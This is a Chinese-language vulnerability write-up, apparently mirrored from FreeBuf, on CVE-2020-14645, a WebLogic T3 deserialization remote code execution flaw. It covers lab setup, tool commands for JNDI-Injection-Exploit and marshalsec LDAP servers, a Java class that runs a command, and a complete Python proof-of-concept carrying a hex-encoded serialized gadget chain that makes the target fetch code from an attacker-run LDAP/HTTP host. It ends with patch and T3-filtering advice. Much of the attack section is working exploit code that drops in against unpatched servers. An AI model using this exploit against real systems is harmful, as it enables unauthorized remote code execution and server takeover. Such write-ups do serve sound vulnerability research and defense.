CVE-2020-14645 Weblogic远程代码执行漏洞分析
source link: https://www.freebuf.com/vuls/251540.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
一. 说明
本文将针对Weblogic CVE-2020-14645漏洞进行分析和复现,仅从技术角度进行研究与讨论,严禁用于非法用途,违者后果自负。
PS:本攻略由群友飞翔的delacroix(305536130)及Z(997362569)供稿,本人审稿。
二、漏洞描述
WebLogic是美国Oracle公司出品的一个application server,是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
Weblogic CVE-2020-14645为远程代码执行漏洞,该漏洞通过T3协议进行利用,实现远程代码执行,进而控制服务器。
漏洞影响范围:
Weblogic 12.2.1.4.x
JDK:6u211以下;7u201以下;8u191以下
三、环境搭建
实验环境:WIN7(64位家庭版)+JDK(1.8.0_181)+Weblogic 12.2.1.4
1.下载安装
首先在官网下载Weblogic 12.2.1.4版本
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
使用以下命令:
java -jar fmw_12.2.1.4.0_wls_lite_generic.jar
提权安装文件进行安装,安装直接下一步到完成即可。如下图:
2.配置
安装完成后需进行配置(若未勾选自动启动配置向导,可在wlserver\common\bin目录下找config启动配置),如下图:
设置管理员账号(此账号为登录7001控制台的账号),如下图:
3.测试是否安装成功
配置成功后,在Middleware\Oracle_Home\user_projects\domains\base_domain目录下运行startWebLogic.cmd
访问 http://服务器IP:7001/console 出现如下界面即表示安装完成
因为利用的是Weblogic的T3协议,在利用前可使用NMAP进行探测确认是否开放T3(默认开放)。
可使用NMAP探测T3协议使用情况:
四、漏洞复现
方法一:
使用JNDI工具(下载地址: https://github.com/welk1n/JNDI-Injection-Exploit )搭建LDAP及HTTP服务
使用git clone https://github.com/welk1n/JNDI-Injection-Exploit.git 下载工具
cd到JNDI-Injection-Expolit目录下,使用mvn clean package -DskipTests编译
编译后编译文件自动存放在target文件夹中
cd到target文件夹,执行如下命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 192.168.134.134
其中:-C 为发送至目标机的代码,-A 为LADP服务器地址。
使用CVE-2020-14645漏洞利用工具 https://github.com/DSO-Lab/Weblogic_CVE-2020-14645
使用如下命令:
java -jar CVE-2020-14645.jar 192.168.134.134:1389/uppfdq http://192.168.134.135:7001
其中:
“192.168.134.134:1389/uppfdq”为LDAP服务器提供的端口及EXP命令,对应下图:
“http://192.168.134.135:7001”为Weblogic控制台地址
当利用成功后,LDAP服务器会有如下信息:
同时目标机弹出计算器,如下图:
方法二:
使用marshalsec工具,搭建LDAP服务器
下载源码,编译,方法同上。
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
使用mvn clean package -DskipTests编译
执行:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.134.134:998/#exp" 99
使用python创建HTTP服务:
python -m SimpleHTTPServer 998
在起HTTP的根目录下创建编译后的EXP,如下:
import java.lang.Runtime; import java.lang.Process; public class exp { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"cmd.exe", "/c", "calc.exe"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
python起的Http默认允许目录遍历,也可以直接访问 http://192.168.134.134:998/ 确认exp位置正确
使用如下POC进行测试
#!/usr/bin/env python3 # _*_ coding:utf-8 _*_ import binascii import socket import sys import time import logging # CVE-2020-14645 def payload(ldap): payload_start = 'aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b78700000000273720030636f6d2e74616e676f736f6c2e7574696c2e636f6d70617261746f722e457874726163746f72436f6d70617261746f72f9b3bc58cc52cd210200014c000b6d5f657874726163746f727400224c636f6d2f74616e676f736f6c2f7574696c2f56616c7565457874726163746f723b78707372002e636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e556e6976657273616c457874726163746f720dc477bfff4bf18c0200025b00096d5f616f506172616d7400135b4c6a6176612f6c616e672f4f626a6563743b4c00076d5f734e616d657400124c6a6176612f6c616e672f537472696e673b7872002d636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e4162737472616374457874726163746f729b1be18ed70100e50200014900096d5f6e5461726765747870000000017074001567657444617461626173654d6574614461746128297704000000037372001d636f6d2e73756e2e726f777365742e4a646263526f77536574496d706cce26d81f4973c2050200074c0004636f6e6e7400154c6a6176612f73716c2f436f6e6e656374696f6e3b4c000d694d61746368436f6c756d6e737400124c6a6176612f7574696c2f566563746f723b4c0002707374001c4c6a6176612f73716c2f507265706172656453746174656d656e743b4c00057265734d4474001c4c6a6176612f73716c2f526573756c745365744d657461446174613b4c0006726f77734d447400254c6a617661782f73716c2f726f777365742f526f775365744d65746144617461496d706c3b4c000272737400144c6a6176612f73716c2f526573756c745365743b4c000f7374724d61746368436f6c756d6e7371007e000e7872001b6a617661782e73716c2e726f777365742e42617365526f7753657443d11da54dc2b1e002001549000b636f6e63757272656e63795a001065736361706550726f63657373696e674900086665746368446972490009666574636853697a6549000969736f6c6174696f6e49000c6d61784669656c6453697a654900076d6178526f777349000c717565727954696d656f75745a0008726561644f6e6c7949000a726f77536574547970655a000b73686f7744656c657465644c000355524c71007e00084c000b617363696953747265616d7400154c6a6176612f696f2f496e70757453747265616d3b4c000c62696e61727953747265616d71007e00144c000a6368617253747265616d7400104c6a6176612f696f2f5265616465723b4c0007636f6d6d616e6471007e00084c000a64617461536f7572636571007e00084c00096c697374656e65727371007e000e4c00036d617074000f4c6a6176612f7574696c2f4d61703b4c0006706172616d737400154c6a6176612f7574696c2f486173687461626c653b4c000d756e69636f646553747265616d71007e00147870000003f001000003e8000000000000000200000000000000000000000001000003ec00707070707074' payload_lenhex = '00'+hex(len(ldap)).strip('0x') payload_ldaphex = binascii.b2a_hex(ldap.encode()) payload_end = '737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e744461746171007e000778700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a707070707070707070707870737200136a6176612e7574696c2e486173687461626c6513bb0f25214ae4b803000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000877080000000b000000007870707371007e001a000000000000000a7571007e001c0000000a737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870ffffffff71007e002471007e002471007e002471007e002471007e002471007e002471007e002471007e002471007e002478707070707371007e001a000000000000000a7571007e001c0000000a707070707070707070707871007e001878' payload = payload_start + payload_lenhex + payload_ldaphex.decode() + payload_end return payload def t3handshake(sock,server_addr): sock.connect(server_addr) sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')) time.sleep(1) sock.recv(1024) def buildT3RequestObject(sock,rport): data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(rport)) data3 = '1a7727000d3234322e323134' data4 = '2e312e32353461863d1d0000000078' for d in [data1,data2,data3,data4]: sock.send(bytes.fromhex(d)) time.sleep(2) def sendEvilObjData(sock,data): payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' payload+=data payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload) sock.send(bytes.fromhex(payload)) res = '' try: count = 0 while count<3: res += sock.recv(4096).decode("utf8","ignore") time.sleep(0.1) count += 1 except Exception: pass return res def run(rip,rport,ldap): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) server_addr = (rip, rport) t3handshake(sock,server_addr) buildT3RequestObject(sock,rport) sendEvilObjData(sock, payload(ldap)) if __name__=="__main__": ip = sys.argv[1] port = int(sys.argv[2]) ldap=sys.argv[3] print("target:%s port:%s ldap:%s"%(ip,port,ldap)) run(ip,port,ldap)
测试python3 exp.py 192.168.134.135 7001 "ldap://192.168.134.134:99/#exp"
HTTP服务器显示如下:
目标机成功弹出计算器,如下图:
五、修复建议
1、官方解决方案——安装官方补丁
可从官网下载最新补丁: https://www.oracle.com/security-alerts/cpujul2020.html
2、临时解决办法——限制T3访问来源
因为该漏洞通过T3协议进行利用,所以可通过控制T3协议的访问来临时阻断针对这些漏洞的利用。
①进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置;
②在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中配置符合实际情况的规则;
③保存后若规则未生效,可重新启动WebLogic服务(PS:重启WebLogic服务会导致业务中断,建议进行风险评估后,再进行操作)。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK